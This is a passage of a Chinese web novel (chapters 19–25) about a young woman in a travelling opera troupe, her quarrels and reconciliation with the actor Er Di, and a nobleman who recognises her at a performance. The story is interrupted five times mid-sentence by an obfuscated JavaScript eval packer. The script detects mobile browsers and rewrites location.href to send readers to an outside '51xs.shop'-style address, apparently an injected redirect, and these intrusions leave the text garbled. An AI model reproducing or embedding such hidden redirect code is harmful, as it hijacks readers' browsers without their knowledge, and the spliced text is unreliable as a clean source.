梁翁看了她一眼,又莫名叹了口气。 心想着,他这孩子,决定的事儿,是九头牛都拉不回来,即便这样,他也忍不住又对着梁赞的背影劝了一句: “先回去吧,阿赞?” “……你不要管我!”他依旧直勾勾盯着二娣。 “诶~你这人怎么回事,怎么还讲不听!” 静之刚想上去理论一把,袖子便被梁翁扯住,他摇了摇头,又重重叹了口气: “姑娘,多谢你好意,老朽…还是先走吧,唉。” 说着,他望了一眼直往戏台上瞅的梁赞一眼,这才佝偻着腰走了出去。 “梁师父,就算你不收我,我也跟你学定啦!!” 二娣正唱着呢,台侧突然传来一句高亢的喊话,台下群众纷纷侧目,小声议论着,二娣借着云袖遮挡,朝那处看了一眼。 一只白皙的小手突然伸了出来,捂住梁赞的嘴把他拖走。 二娣身形一滞,又开始默默唱了起 来,只是那戏腔越发的哀怨,如泣如诉。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第19章 簪子碎了 二娣愣愣地看着右手虎口处那个还带血的牙印,后脑勺的头皮也一片闷痛,两处皆疼。 最让他想不到的,是第三处。 第三处,是胸口。 他只觉得心口猛的一揪,然后是密密麻麻的疼痛和莫名的恐慌袭上心头。 慌什么,他不清楚,痛什么,他也不明白。 只是浑浑噩噩的坐下卸了妆,摘了发带和假发,脱了戏服,这才穿着中衣走到他专属的更衣室。 刚一揭开帘子,就看到里侧一桶水静静的摆在那里,水面萦绕着丝丝热气。 他眉眼一松,还知道给他送热水,应当是不气了吧。 他如往常一般,把布巾从肩膀上抽了下来,一把丢进水里,刚要捞起拧干时,瞬间被滚烫的水温烫红了指间。 他迅速收回手,看着渐渐起了个大水泡的指腹,有些傻眼。 下一秒,却又突然笑了一声。 她可真是…幼稚。 二娣把一桶滚烫的热水晾了许久,才终于擦干净身子换好衣服。 这时候已经月上梢头,戏班里的灯火都熄灭了,到处黑乎乎的,只有更衣室门口还挂着一盏灯笼。 他见其他更衣室的人都走光了,于是干脆取下那盏灯笼,缓缓朝内室走去。 快走到他的卧榻附近时,他总觉得有哪里不对劲。 有些空。 不对,她的褥子不见了。 二娣把灯笼朝那个位置照了一下,发现只剩下一块灰褐色的床板。 他心里一个咯噔,又把灯笼朝墙上照了照,发现原本钉着个“静”的地方,现在只剩一个突出的钉子。 二娣只觉得全身的血液都凉了,指间直发麻,竟是连那股火辣辣的痛意都感觉不到了。 他徘徊了几圈,灯笼跟随着他慌乱的脚步,不住晃着,闪了别人的眼。 班主的床铺就在离他卧榻一排的位置上,他躺在床上,昂起头看着那盏不断晃动的灯笼,疑惑问道: “二娣?你找什么呢?” 二娣紧了紧手中的提杆,手心竟急出了汗,他深呼吸一口气,极力掩盖住声音里的慌张,故作沉稳: “……她……走了?” 班主咯吱一声,默默转了个身,昏黄的灯光下,他可以看到二娣此时下巴绷得紧紧的,他深深叹了口气: “没走,在那儿呢。” 屋里五排床铺,一排睡着六七个人,二娣睡在最里侧墙角处。 班主指了指最外侧靠着门的位置,犹如一个方形的斜角线,那个位置,竟是离二娣最远。 二娣愣愣的看着那个黑漆漆的位置,依稀可以看到床上有一个小小的隆起。 不是,刚刚他就是从那儿进来的,竟是…没有发现吗? 班主有些恨铁不成钢,他暗暗剜了二娣的后脑勺一眼: “你到底对人家小姑娘说什么了,她都哭半天了。” 他叹了口气又接着说: “二娣,我们在这里的戏也唱完了,明天就要出发去省城,要不,到省城我给她找份工,放她走吧。” 二娣下意识沉声反驳:“不行。” 屋内瞬间寂静,原本还在窸窸窣窣,夜聊的众人纷纷闭上了嘴,生怕捻了老虎须。 班主啧了一声,又剜他一眼:“不放她走,你就要这样一直折磨她吗,老头子我是看不下去,你可别忘了,她对我有恩。” 二娣抬高灯笼吹熄蜡烛,却是立在原地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086474|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把那根竹子做的提杆捏得嘎嘣响: “哼!放她去哪,让她去寻梁赞吗?” 班主一个转身坐了起来,有些不明所以: “找梁赞做什么?” 静之今晚捉弄梁赞,他可是看得分明。 二娣干脆把那灯笼挂在静之床头那钉子上,又冷哼一声,瞥一眼远处那个小鼓包: “做什么,当然是做他的少夫人。” “不会吧,我看静之对他无意,你别乱说败坏人家名声。” “呵,簪子都收了,还怕别人说吗?” ………… “咻!” 破空声起,一抹温润的绿色疾射过来,二娣下意识偏头一躲,一声清脆的碎裂声瞬间响起。 二娣低头看向墙角。 那簪子眼熟的很。 是她的。 却是,断成…三节了。 “梁二娣,我不喜欢他!更讨厌你!” 听到带着哭腔,已然沙哑的嗓音,他骤然抬头,静之侧身立在床上,脸上已经沾满泪痕,正一脸失望地看着他。 仿佛觉得自己众目睽睽之下又哭了,丢了脸面,她胡乱抹了两把眼泪,竟是一把跃到地上,跑了出去,鞋都没来得及穿。 “二,二娣?那簪子本来就是她的,你还不快——” 话未说完,一阵疾风刮过,班主床前已然没了二娣的身影。 他又低头一看,地上空空荡荡,哪里还有什么簪子。 班主叹了口气,又啧了一声。 心里不住腹诽着,还说不喜欢人家,二十几岁人了,遇到心上人整天就想着捉弄人家。 这下好了,收不了场了吧。 啧。 第20章 “……别走。” 今夜乌云罩顶,圆盘般的月亮被遮了个严严实实,风却是略大。 二娣借着那微弱的月光,紧紧跟在那一抹白色的背影身后。 她跑得极快,起初二娣还能跟上,甚至都快追上了,他却觉得肺里的空气渐渐稀少,胸口一股憋闷顿时袭来,他咬牙捂着胸口,脚步并未放慢。 他也不知道为什么,非要追出来。 只是脑海里仿佛有个念头,若是不追出来,他将会后悔一辈子。 他张开嘴巴,用力呼吸着,却是没什么用的样子,憋闷感更重。 缺氧的感觉阵阵袭来,他只觉得脑袋开始发晕,眼前不住发黑,急切的脚步终是慢了下来。 前面那人仿佛感觉到了什么,脚步也跟着一顿。 他面上一喜,脚下一蹬侧边的墙面,一个翻身,就跃到她跟前。 落地之时,仿佛站不稳似的,他一手扶着墙,呼吸急促,另外一手却是死死扯着她的手。 “……嗬……嗬,跟我回去。” 他的脸色此时白的像鬼,嘴唇也苍白得吓人。 静之眼里闪过一丝心疼,但很快,那抹心疼又被心里翻涌着的疼痛扑灭。 她垂头,冷冷瞧着被他扯住的手: “二娣,男女授受不亲,你这又是……什么意思?” 她往回抽了抽手,却没想到病秧子手上的力气还挺大,硬是箍得死紧,捏得她手都有些发麻。 二娣好不容易喘匀呼吸,却是死死抿着嘴,固执地盯着她瞧: “跟我回去。” 他的眼黑真大。 像小狗。 静之此时的脑子里不合时宜跳出了这个想法。 当注意到自己在想些什么时,她有些尴尬地别过脸去,扯了扯嘴角说: “呵,回去干什么,再回去让你作贱我吗?” 这话如同一把利剑,刺痛了二娣的心,他伸出手想抚去她眼角的泪水,静之却是迅速别过脸去,躲过了他的动作。 他讪讪放下手,另一手却依旧死死捏着她的手腕。 “……对不起。” 这还是,他这辈子第一次跟人道歉。 静之垂着眸子定定地看着他握得发白的指节,缥缈的声音仿佛从二娣头顶飘了过来。 她说:“梁二娣,我们这到底……算什么?” 二娣仿佛终于被问得回过了神,他触了电般,松开了她的手腕,又迅速把那只手背在身后握着,嗫喏了两下唇瓣,却是不知道该怎么回答她。 静之伫立了许久,终是幽幽叹了口气,她转过身去淡淡说着: “你回去吧,我不是不守信的人,我吹会儿风就回去。” 她的脊背挺得直直的,二娣却莫名觉得她比初见时瘦了不少,脑海里突然又想起他之前那些刻薄的话和行为,心里止不住的后悔。 静之听到身后没了声音,她的眸子渐渐淡了下来,轻叹一声,朝着河边走去。 还未走两步,身后就突然贴上来一具身躯。 两只有力的手死死圈着她的腰,身子冰凉,火热的呼吸却是打在她的耳畔: “……别走。” 静之心跳漏了一拍,随即又突然加速跳动着,她蓦然转身看向他,眼里的光是他从未见过的亮。 见她突然转身,二娣却又放开她,赶紧后退一步。 静之额头青筋直跳,她咬着牙,上前一步,双 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二娣眼神落在她死死握着的拳头上,心头不由一揪,却是呐呐说了声好。 两人在空无一人的街上站了许久。 他一脸落寞,率先转身,慢慢走了回去。 等到彻底听不到脚步声了,她一直挺着的脊梁,才慢慢弯了下来。 她慢慢蹲在地上,把头埋进膝盖里,哭得像只受伤的小兽。 …… 巷子口,他紧紧揪着依旧憋闷的胸口。 许久,暗自叹息一声,才放轻步子,悄无声息的离去。 第21章 他就是想做皇帝也行 自从那晚狠狠哭了一场,静之也想明白一件事,那就是——感情的事儿,强求不得。 既然他对她无意,那她就好好以一个普通同事的身份,陪他过好这辈子就行。 那三句我爱你,她是不敢肖想了。 想明白这点,她修炼得越发认真,几乎是到了日夜不休的程度。 …… 古代交通工具落后,去省城最快的路线是水路,于是班主便包下了整条大船。 静之日日窝在狭小的船厢里打坐,偶尔出去吃饭,碰到二娣了,也会笑着点头,那笑却是透露出一股疏远。 每次二娣看到,心都跟被拧了一下似的,隐隐作痛。 他索性也躲进自己的厢房里,不是练字,就是透过狭小的窗口望着外面的河水发呆。 “扣扣扣!” “静之啊,你都窝在里面半个多月了,班主说今天就快靠岸了,出来透透气吧,别憋坏了身子。” 周婶的声音从门外传来,静之一个收势停下灵力运转,这才缓缓睁开眼睛看着那木门: “……好。” 周婶对她很好,这些天她心情不好,没去后厨帮忙,她还是坚持每天给她送饭,她若相邀,静之却是没办法狠下心拒绝。 厢房低矮,就算她一米六的个子也无法站直,她弓着腰走到门口。 刚打开木门,一股风混合着海腥味拂面而来,把她额前的碎发吹得有些凌乱,她随意撩过几缕头发掖在耳后,钻出同样低矮的门,站直身子挽着周婶的胳膊,对她笑了笑: “走吧,去甲板上走走。” 周婶拍了拍她的手: “这才对嘛,年轻人别老窝着,得多运动。” 她们上了几个阶梯,就到了甲板上,这个时代的船大多是木质,不像现代的船只,是钢结构,静之走一步,脚下的木板就轻轻咯吱一声,让她不禁有些心惊胆战。 她怕水,倒是没有像周婶一样,靠在栏杆旁,而是离了好几米远,乖乖站着。 今天风有些大,吹得浪头不断翻涌过来,船身有些摇晃,静之环着胸,却不由自主想起了东坪洲码头的那艘船,还有那个人。 她昂着头,半眯着眼睛望着天空走得飞快的浮云,不禁有些迷茫。 第一世就这样了,她真的…能坚持到最后吗? 这时,又是一个浪头打过来,正仰面朝天的静之一个晃悠,手下意识朝旁边扑腾着,却发现她离栏杆甚远。 就在她以为要摔个屁墩的时候,一只大手紧紧环住了她的腰。 猝不及防,一张熟悉的脸突然出现在她眼前。 二娣心想,她好像又瘦了。 他鬼使神差悄悄圈了圈她的腰身,静之腰部敏感得很,一点轻微的动作逃不过她的感知,她瞳孔一缩,手迅速举起来放到他肩膀上,刚要推开他—— 这时,船身又一个左右晃荡,静之的双手下意识一个用力揪住他肩膀的衣服,却被船身晃动的力道甩进他的怀里。 他好瘦。 这是她的第一想法。 她的耳朵被他胸前的骨头硌得有些生疼,心里却又突然一悸。 他到底……有没有好好吃饭。 下一秒,她就立刻掐熄这个念头。 不行,想好了要远离他的,不能再让他误会了。 于是她松开他的衣服,又顺势抵着他的肩借力站稳,刚想后退,却发现他依旧圈着她的腰。 她啧了一声,还没说什么呢,二娣闻声立马把手放开。 两人几乎是同时,各自后退了一大步。 他问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086476|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没事吧?” 静之抿着嘴看着他,许久未见,他竟是白了些,且真的变瘦了。 她看不得他眼里的关切,于是挪开眼神盯着地上的甲板: “没事。” “……” 二娣眼神黯淡下来,他轻咳了一声,又转身向楼梯口走去,这时一船员从下面走了上来: “梁老板?你不是刚上去吗?” 二娣捏了捏手中的蒲扇,余光又朝还杵在那的静之瞄了一眼,这才垂下眸子沉声解释: “……快靠岸了,我叫他们出来。” 船手闻言看向外面,不远处海岸线上的码头正围着一伙人,正朝他们招着手。 嘿,还真是,看来不到一刻就能靠岸了。 他回头朝敞开着的入口高声唤了一句: “都醒醒都醒醒,别睡了,收拾东西,要到了!” 众人纷纷转醒,狭小的船厢里开始骚动起来。 木质船体较轻,人员到处走动着,船身的晃动更加剧烈了。 二娣似有所感,又朝那个方向看去,刚瞧一眼,他立刻飞奔上前,半蹲下身子接住差点就一个后脑勺击地的静之。 两人面面相觑。 而后又同时挪开眼神。 “你真是不适合在水上生存。”他说。 静之一时无言,眼神慢慢下移,看着她腰间的大手,她闭了闭眼,狠下心来,右手一撑,一个转身挣脱他的怀抱,站了起来: “不喜欢我……就别做会让我误会的事。” 说罢,她也不管他是什么表情 ,稳住身子,径直穿过他身侧,噔噔噔走下楼梯,进了她的小窝收拾行李。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第22章 换床位 “周婶,买水果干什么?” 静之看着蹲在路边挑橘子的周婶,有些迷茫。 毕竟一来省城,行李还没放下,周婶就一路带着她直奔水果摊,怎么看怎么想不通。 “戏台子还没搭起来啊,我们在那儿没用。而且班主说,今晚演三英战吕布啊。” “啊?” 静之依旧迷茫。 “今晚有关公啊。”周婶头也没回,仔细挑着品相好的水果。 猫猫挠头:“有关公为什么要买水果?” 周婶恍然大悟,自从静之入戏班,这出戏还没上过呢,她回头解释: “演关公的人要先提前祭拜关二爷的,买点水果祭拜呀,还有……” “还有什么?” 周婶四下看了几眼,这才凑近静之耳旁小声说: “班主说,晚上有大人物要来,多买一点,给他们当点心吃。” 温热的呼吸打在静之的耳廓上,她有些不适,又侧了侧头。 下一秒,周婶啧了一声,轻轻一巴掌扇在她脸上: “干什么?耳朵也敏感啊?” 静之绞着手指,想跑又不敢跑,除了她家人,还有阿风,都没人凑这么近跟她说过话,但是周婶也不是故意的啊。 她有些纠结。 周婶却一脸八卦凑了过来: “静之啊,你几岁啦?想找婆家没有?” 静之有些恍惚,她掰着手指算了许久,才抬起头一脸认真的说: “我今年二十八岁。” “…………” 周婶看了她许久,突然上手捏了捏她的脸,别说,又有弹性又软。 她翻了个白眼,又轻轻拍了一下静之手心: “不许说谎。” 静之无辜得睁大了眼睛: “我没说谎,我就是二十八。” 周婶看着她那张吹弹可破的小脸,除了头发像八十的,其他位置怎么看都像十八。 她也不纠结年纪了,而是转了个她最好奇的话题: “戏班里这么多帅小伙,有没有看得上眼的?二娣二十五了,你觉得他怎么样?” 话说,他这个年纪,没成亲真是稀少,她这个年纪,孩子都生两个了。 她又急急警告: “除了阿桂那个家伙,你别看他长得好,他就是那个,那个……啊对,梁老板说的——金玉其外,败絮其中!” 静之翻了个白眼: “嘁,我早都看出来啦,你就放心吧。” “至于喜欢的人……以前有,现在没有了。” 他才…二十五呢,真的是个臭弟弟,脾气臭得不行,又爱捉弄人。 看着静之闷闷不乐的样子,周婶瞬间嘘声。 正走着呢,静之突然想起了个问题,于是转头问周婶: “婶子,你们为什么都叫……二娣梁老板?” 周婶看了她一眼,有些莫名: “他没告诉你吗?” “告诉我……什么?” “这戏班他也有股份,所以也是我们的老板,不过现在不是了。” 静之恍然大悟,所以他刚刚才会这么生梁赞的气,还捉弄他吧。 也是,任谁一朝突然从老板变成打工仔,都会生气的。 …… 两人一路聊着,又买了几个果盘,才慢慢往戏班的方向走。 还没进去,静之就远远的看到了乐丰年三个大字。 戏台子搭好了? 人多就是快啊。 正当她往那个位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086477|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置缓缓走近的时候,她突然注意到门口站了个人。 那个人显然也注意到她了,一个闪身就迅速回了屋里。 额……二娣这个臭弟弟在搞什么鬼。 她啧了一声,跟周婶进了后厨。 刚把水果放下,班主就进来说,叫她认认床位,她应了一声,走到门前,悄悄挑开帘子看了看外面,发现二娣没在外头,她这才跟在班主后面走向内室。 …… “我不要睡这里。” 她紧紧抿着嘴唇,目光看向一旁那个熟悉的红色娣字和屏风,毫不犹豫地拒绝了班主的安排。 不等班主说话,她迅速拿起二娣隔壁床位床头写着“静”的木牌子。 接着在四周环顾一圈,然后快步走到一个离二娣最远、且没有挂牌的位置,将自己的木牌挂在了那里。 班主见此情形,刚要开口,却又突然停住,他暗中朝着隔壁的化妆间门帘后的人摇了摇头。 然后轻轻地拍了一下手,最后无奈地摊开双手,表示无能为力。 然而,这一切都被站在远处的静之看在眼里。 “班主,你干嘛呢?” 静之满脸狐疑地走近班主,并不断朝门帘后面张望。 班主见状,急忙迎上前去,一把拉住她的袖子,带着她向前面的观众席走去,嘴里还不停地解释道: “没,没事,刚刚那有蚊子,我拍蚊子呢!等会我叫你婶子拿两把艾草熏熏。” 静之挣脱了他的手,叉着腰,半眯着一双圆溜溜的眼睛,满脸怀疑地看着眼前的老头。 她的眼神锐利得仿佛能穿透对方的灵魂,让他不由 自主地感到一阵寒意从脊梁骨上升起。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第23章 消,消消气? 傍晚时分,戏已开演,但估计有戏班来此的风声还没放出去,来看戏的人还是有些少,班主朝外观望了一下,当即叫来静之跟通财,又各塞了一把传单到他们手上: “呐,今晚是我们在省城的第一场戏,你们要好好帮我宣传出去啊,回来我叫我夫人给你们做好吃的!” “没问题!”静之抬手敬了个礼,却见班主和通财一脸迷茫,她挠了挠头嬉笑一声,就跑了出去。 “你还不去啊?” 班主拍了一下一脸纠结的通财肩膀。 通财是有些怕静之的,一想到要跟她一起共事,他就莫名的腿软。 “再不去,我跟你们家少爷说了哦。” “去去去,我马上就去。”通财哀怨地看了班主一眼,这才攥着传单,磨磨蹭蹭的走着。 班主故意在后面叫了一声: “阿赞啊,你来啦!” 通财瞬间跑得飞快,仿佛有狗在后面撵他似的。 …… 通财跑的太快,一下就追到静之,离她几步远的时候,他一个紧急刹车,默默跟在她后头,又不时朝着她围着头巾的头发看去。 奇怪,在戏班子里不围,一出来就围,她该不会是有什么猫腻吧。 通财不着痕迹打量着静之,却没想到静之早就发现了身后鬼鬼祟祟的他。 她突然一个停止,通财正埋着头走路呢,见快撞上她,他又不敢碰到她,一个大力后仰,一屁股坐到地上。 “哈哈哈哈哈,你这么胆小啊,干活啦!鬼鬼祟祟干什么……不许站在我身后,这样你怎么发传单,到旁边来!” 静之侧身抬手,给他让了个位置。 通财可怜兮兮弓着身子,拍了拍屁股,把散了一地的传单捡起,又离她三步远,站在她身侧。 “怕什么,我又不会吃了你。” 话是这样说的,她又朝通财呲了呲有些尖利的贝齿,直把通财吓得一个哆嗦,转身就想跑。 刚一转身,后脖领就被揪住。 “嘁……干活!” 通财满脸委屈地看了她一眼,一时竟不知道她跟那个二娣,到底谁更坏了? 静之逢人就笑,嘴巴甜的很,卖力宣传着今晚要开演的戏;通财却是一脸苦瓜相,鼻头还红红的,跟被欺负了似的,传单没发出去几张,人还经常走神。 “喂!想什么呢?” 通财低着头下意识回答: “少爷说,叫我随时偷袭他,我在想什么东西可以打疼他,又不会让他真的受——” 话未说完,他一脸惊恐捂着嘴。 静之啧了一声,朝他翻了个白眼,又假装毫不在意的说: “我又不会打他,不过……我倒是知道有个东西很符合你的需求。” 梁赞那小子,今天就一直粘着那个臭弟弟,她莫名有些不爽。 通财狐疑地看了她一眼,又忍不住好奇,抖着嘴问道: “什,什么东西?” 静之环着胸,转头暗暗坏笑一下,又清了清嗓子转回来一本正经的说: “白蜡竹棍,又结实,打人又疼,但是木头有弹性,又不会把你家少爷发出内伤,你可以试试。” 通财都快被忽悠瘸了,他愣愣看着静之: “真,真的?” 静之突然定在原地,眼神直直地看着前方走过来的三个人,然后把手里剩下的传单塞给他,然后拔腿就跑,边跑还边说着: “剩下的交给你,我先回去帮忙啦!!” 通财手忙脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086478|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱捂着乱飞的传单,还没整理好呢,一个彪形大汉经过突然撞了一下他的肩膀,他手里的传单当即散了一地。 “你干什么?” “走路不长眼的吗?” 那三人,中间的公子爷突然蹲了下来,捡起一张传单细看: “乐丰年—三英战吕布?” 通财挠了挠头,磕巴着说出刚刚静之的“广告语”: “是的,三英战吕布,包好看的!只要一杯奶茶钱,买不了吃亏,买不了上当!” 虽然他不知道奶茶是什么,但挺顺口的,他也就记下来了。 一随从悄悄凑近那公子耳旁: “世……少爷,要去吗?” 那少爷却是没有回答,而是紧紧盯着不远处动如脱兔的女子。 不仅声音耳熟,就连背影,也那么像他魂牵梦绕的那个她。 他当即一挥手: “走,一场戏罢了,看一看也无妨。” …… 静之一路奔跑回戏班,快速穿过前台,直奔后面的化妆室,然后扶着桌子呼呲带喘的。 梁赞走了过来: “怎么,被人追杀啊?” 静之瞪了他一眼: “运动一下不行啊!” 还没喘匀气,就发现扮完关公下场的阿桂,还有已经画好妆,却仍穿着中衣即将上场的二娣,皆站在不远处看着她。 完犊子。 一屋子,都是不想见的人。 烦死了。 她一个转身就想跑,后脖领突然被提了起来往后扯了两步。 “干什么干什么?臭弟弟!”她的手不断往后拍 着。 这章没有结束,请点击下一页继续阅读! 第24章 修罗场 “不许怕w——” 二娣刚伸手打算接过那半个橘子,班主就急冲冲走了进来。 发现静之时,他眼睛亮得惊人。 “哎呀,还在这里干什么,快走快走!大客户来了!” 边说着,他扯着静之的衣袖就往外拉,静之踉跄着脚步,只来得及将剥好皮的橘子放在桌上: “你自己吃啊,我先去M——!” 话还没说完,幕布隔断就拉了下来。 二娣静静的看着桌上的橘子,也没吃。 梁赞笑嘻嘻地凑过去: “娣哥?不吃啊,不吃给我吃啊!” “啪!” 又是一个后空翻,赞摔倒在地。 他捂着脸,一脸委屈,看着正慢慢拿起橘子的二娣说: “开个玩笑嘛。” 二娣冷冷觑了他一眼,一手拿上椅背上的衣服,一手捧着橘子就进了更衣室。 进去后,他把衣服搭在竹帘上,并未马上换衣服,而是默默看着那软软圆圆的橘肉。 莫名,有些不想马上吃掉。 后来,他终是不舍得吃,也不知将它藏哪儿去了…… …… “呐,给你,你端过去,然后就站在他身后,等到这场戏散场就可以,大约半个时辰,很快的,去吧!” 班主把装着水果瓜子的托盘递给静之,又把她从侧边小径推了过去。 她一抬眼,便看到不远处侧坐着看戏的那人,他两个随从正一左一右站在他身后。 靠! 公子爷啊! 静之迅速一个转身就想回去,班主堵在路口,又从怀里掏出了一钱银子上下抛了抛: “半个月月钱啊,你不要我就去叫阿赞了。” “……去。” 靠,那小子富得流油,她才是需要济贫的那个啊! 她瞪了班主一眼,咬咬牙转过身去,死死扣着头,盯着托盘里的东西,慢吞吞挪了过去。 那少爷,叫倪飞,正看着戏呢,突然侧边挪出来一个身影。 他不由侧头过去,虽然她扣着头,但是,只一眼,他就认出来了。 他纸扇一合,挪了下屁股,刚想站起身,却又觉得有些唐突,于是又坐了下来。 一随从皱眉看着有些鬼祟的静之一眼,俯身凑到倪飞耳边问: “少爷,要不……”他做了个割脖子的手势。 倪飞大怒,一个嘴巴子直把那护卫抽到台下: “你敢!” 听到怒斥,静之不由抬起头望去,却猝不及防,跟倪飞四目相对。 倪飞这回完全确认了来人,他大喜过望,手中把扇子攥得死紧,又怕吓到她,于是咳了一声,侧过身子朝她轻声问着: “你怎会在这里?” 对视后又迅速低下头的静之,心如死灰。 老天爷! 我好奇心这么重干什么,被认出来了吧! 当下她恨不得猛猛抽自己一个大嘴巴子。 她闭了闭眼,深呼吸了一口气,抬起头装作无所谓的样子,瞟了他一眼,慢慢走了过去,然后将托盘中花生瓜子橘子等,给他一一上到桌子上。 然后站到刚刚他护卫站的空位上,淡淡的说: “很显然,我是名丫鬟。” “……” 倪飞一时竟没有话讲。 她这一看就是胡说八道的。 哪个丫鬟会像她这么大胆,敢直视他,而且她周身的气度也跟一般的大家闺秀不同,别有一番洒脱与肆意。 也许是那晚的月光太美好。 倪飞觉得,他还是第一次见到这么……合他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086479|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心意的。 于是,他戏也不看了,直勾勾的,眼睛都不带眨的,侧头看着静之。 本来静之无所谓的。 看就看,看一眼又不会少块肉。 二娣被这么多人看着,他都不带怕的,她怕个卵。 然而,想人人到。 就在这时,二娣踩着云步,挥着云袖就出来了。 他移到戏台中央,啪的一个亮相,眼神直直对上他们这方。 那一下,静之的心就凉透了。 二娣那娇媚的眼神也瞬间暗了下来。 戏虽演着,但是静之就是觉得他的每一个转身,每次面对他们,都有一股无形的压力扑面而来。 “老头子,今天是演哪出啊?我怎么看着这花旦有些凶啊?” “你管呢。” “呵,你也不知道吧。” “我确实看不太出来。” 一老头打量着二娣的黑脸跟滔天的气势,他拳击掌心。 是……芈月吧。 …… 看着他把一个白莲花都快演成黑脸包公的样子,静之慌了。 于是,她轻轻咳了一声。 倪飞依旧在看。 她又重咳一声。 倪飞眼里浮上担忧,却并未说话。 毕竟,这时候过多的关心,会显得轻浮和虚伪。 她暗暗翻了个白眼,啧了一声,又迅速拿着托盘围住他看过来的视线。 台上的二娣看到她的举动,眉头微松,于是飘然转身唱了两句。 借着走 位,没过十秒,他又忍不住转身过来。 刚定睛一瞧,却是瞳孔一缩,浑身摄人的气势都快实质化了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第25章 不得赚钱啊 厨房。 又是一个三足鼎立。 二娣,静之,和周婶。 “二,二娣啊,水打好了,我,我先出去帮忙!” 周婶看着两人之间莫名其妙,一触即发的氛围,赶紧找了个由头闪人。 她前脚一走。 二娣后脚就发话了。 “洗手。” “啊?”静之打量着眼前这个黑脸的臭弟弟,心里不由浮起一点希冀。 他这副样子,跟之前阿风乱吃飞醋的样子好像啊。 二娣被她看得有些狼狈,一个转身,就走了出去,出去前深深看了她一眼,又哼了一声: “……爱洗不洗。” “哗。”后厨的帘子扬得飞起,而后又慢慢落下。 光线慢慢消失的时候,后厨突然传来一声呲笑。 她到底……在期待什么。 又不是她想要这样的。 静之看着两个手腕上的两圈红印子,她不由都转动了一下。 唔,有些酸痛。 啧,一个两个,都是大傻……子。 静之把地上的一盆水洗得哗哗响,她又憋又气,洗手的动作颇为粗鲁,水溅了一地。 门外。 二娣站在帘子后,透过那两道帘子中间的缝隙,盯着那个蹲下来的背影,不知道在想什么。 直到静之洗完手,把水泼到外面去,朝他这边走来时,他才如梦初醒,怅然回了化妆间卸妆换衣服。 …… 今晚,他的洗澡水依旧是滚烫的。 望着又被烫一个大包的食指,二娣不知该做何表情。 梁赞倒是凑过来了,他暗暗打量了一下二娣复杂的神色,心里不免有些好奇。 这是……吵架了? “娣哥,我那儿有上好的烫伤膏,我去给你拿。” “……不用了,我自己会配。” 二娣随意地往后招了招手,此时,完全没心思理他。 梁赞倒是追问个不停,他扯了块椅子过来坐下,把头伸到二娣面前: “娣哥,你还懂岐黄之术啊?” 二娣把他的脸推开,又从他化妆柜的一个抽屉里,拿出一个褐色的小罐子。 打开盖子,取过一根小竹棍子,一点一点给自己涂着药,涂好了,才说: “略懂。” 梁赞随意拿起那罐装着半透明膏状体的小罐子闻了闻: “黄芪,黄连,地龙。” 他又装模作样深深嗅了一口,“嗯~,凉凉的,你还加薄荷了,你还说略懂,这不是很懂的吗?” 这回惊讶的人倒是轮到二娣了,他仿佛重新认识了这个人,上下打量几眼坐没坐姿,敞开着腿坐着的梁赞,好一会儿才说: “你也懂?” 